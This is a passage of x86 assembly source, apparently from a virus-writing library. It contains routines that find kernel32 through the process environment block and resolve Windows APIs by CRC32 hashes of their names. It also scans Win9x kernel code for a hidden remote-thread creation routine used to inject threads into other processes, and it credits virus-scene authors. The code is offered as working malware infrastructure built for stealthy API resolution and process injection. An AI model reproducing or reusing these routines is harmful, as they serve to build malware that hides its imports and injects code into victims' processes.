call search_crt9x jnc @@error mov esi,eax mov edi,[esp+8*4+16] mov eax,[esp+8*4+20] push 8 push eax push edi push 0fffff000h push ebp call esi push eax call search_halloc9x jnc @@error mov edx,eax pop eax push 0 push eax push ebp call edx jmp @@finished @@os_nt: ; push dwo [esp+8*4+28+ 0] ; push dwo [esp+8*4+24+ 4] ; push dwo [esp+8*4+20+ 8] ; push dwo [esp+8*4+16+12] ; push dwo [esp+8*4+12+16] ; push dwo [esp+8*4+8 +20] push 6 pop ecx @@loop_push: push dwo [esp+8*4+28] loop @@loop_push push ebx call eax @@finished: mov [esp+pushad_eax],eax popad ret 4*7 @@error: sub eax,eax dec eax mov [esp+pushad_eax],eax popad ret 4*7 get_obfs: pushad push 0EB1CE85Ch ;GetCurrentProcessId call get_k32base push eax call get_addr32crc call eax mov ebx,eax mov eax,fs:[30h] xor eax,ebx mov [esp+pushad_eax],eax popad retn search_halloc9x: pushad call get_k32base push 033D350C4h ;OpenProcess push eax call get_addr32crc mov esi,eax mov eax,0E832ff50h jmp search_compare search_crt9x: pushad call get_k32base push 07FC598E3h ;DebugActiveProcess push eax call get_addr32crc mov esi,eax ; IDA output: ;.text:BFF9490D push 8 ; const ;.text:BFF9490F push edi ;.text:BFF94910 push offset sub_BFF9494D ; thread ;.text:BFF94915 push 0FFFFF000h ; tells kernel to allocate stack ;.text:BFF9491A push edi ; pdb ;.text:BFF9491B call CreateRemoteThread9x; arbitrary name ;0xE8 = call; 0x85 = push edi; 0xFFFF = higher part of 0xFFFFF000 ; mov eax,0fffff000h mov eax,0E857FFFFh ; DEBUG: CloseHandle ; mov eax,0E8560002h search_compare: sub ecx,ecx mov cl,255 ;approx. size of DebugActiveProcess, just in case @@compare: cmp eax,[esi] jz @@save inc esi dec ecx jecxz @@exit jmp @@compare @@save: lodsd lodsd ;eax = relative address of CreateRemoteThread9x() add eax,esi ;absolute address mov [esp+pushad_eax],eax stc @@exit: popad retn ;--------The End~~~[^_^] get_apicrc: pushad mov esi,[esp+8*4+4] call get_k32base push 04134D1ADh ;LoadLibraryA push eax call get_addr32crc push esi call eax mov ebx,eax sub eax,eax lodsb test al,al jnz $-3 mov edi,esi @@loop: lodsd test eax,eax jz @@end push eax push ebx call get_addr32crc stosd jmp @@loop @@end: popad retn 4 ;void* get_addr32crc(DWORD base, DWORD crc32) get_addr32crc: pushad mov ebx,[esp+8*4+4] mov esi,[esp+8*4+8] sub ebp,ebp ;counter mov edx,ebx add edx,[edx.mz_neptr] mov edx,[edx.pe_exportrva] add edx,ebx mov eax,[edx.ex_numofnamepointers] mov edi,[edx.ex_addresstablerva] add edi,ebx mov edi,[edx.ex_namepointersrva] add edi,ebx push edx mov edx,edi @@next: mov edx,[edi] add edx,ebx inc ebp pushad mov esi,edx sub ecx,ecx lodsb inc ecx test al,al jnz $-4 mov [esp+pushad_ecx],ecx popad @@cmpstr: pushad ; mov edx,edx sub eax,eax call xcrc32 cmp eax,esi popad jz @@found ; push eax ; sub eax,eax ; scasb ; jnz $-1 ; pop eax add edi,4 dec eax jz @@error jmp @@next @@found: pop edx dec ebp mov ecx,[edx.ex_ordinaltablerva] add ecx,ebx movzx eax,wo [ecx+ebp*2] mov ebp,[edx.ex_addresstablerva] add ebp,ebx mov eax,[ebp+eax*4] add eax,ebx @@error: mov [esp+pushad_eax],eax popad ret 4*2 ;void* get_k32base(); get_k32base: pushad sub eax,eax mov eax,fs:[eax+30h] test eax,eax js @@os_9x @@os_nt: mov eax,[eax+0ch] mov esi,[eax+1ch] lodsd mov eax,[eax+8] jmp @@finished @@os_9x: mov eax,[eax+34h] lea eax,[eax+7ch] mov eax,[eax+3ch] @@finished: mov [esp+pushad_eax],eax popad retn ; zhengxi’s crc32(): optimised by Vecna ; input: EDX=data, ECX=size, EAX=crc ; output: EAX=crc, EDX+=ECX, ECX=BL=0 xcrc32: pushad jecxz @@4 not eax @@1: xor al, [edx] inc edx mov bl, 8 @@2: shr eax, 1 jnc @@3 xor eax, 0EDB88320h @@3: dec bl jnz @@2 loop @@1 not eax @@4: mov [esp+pushad_eax],eax popad ret end
|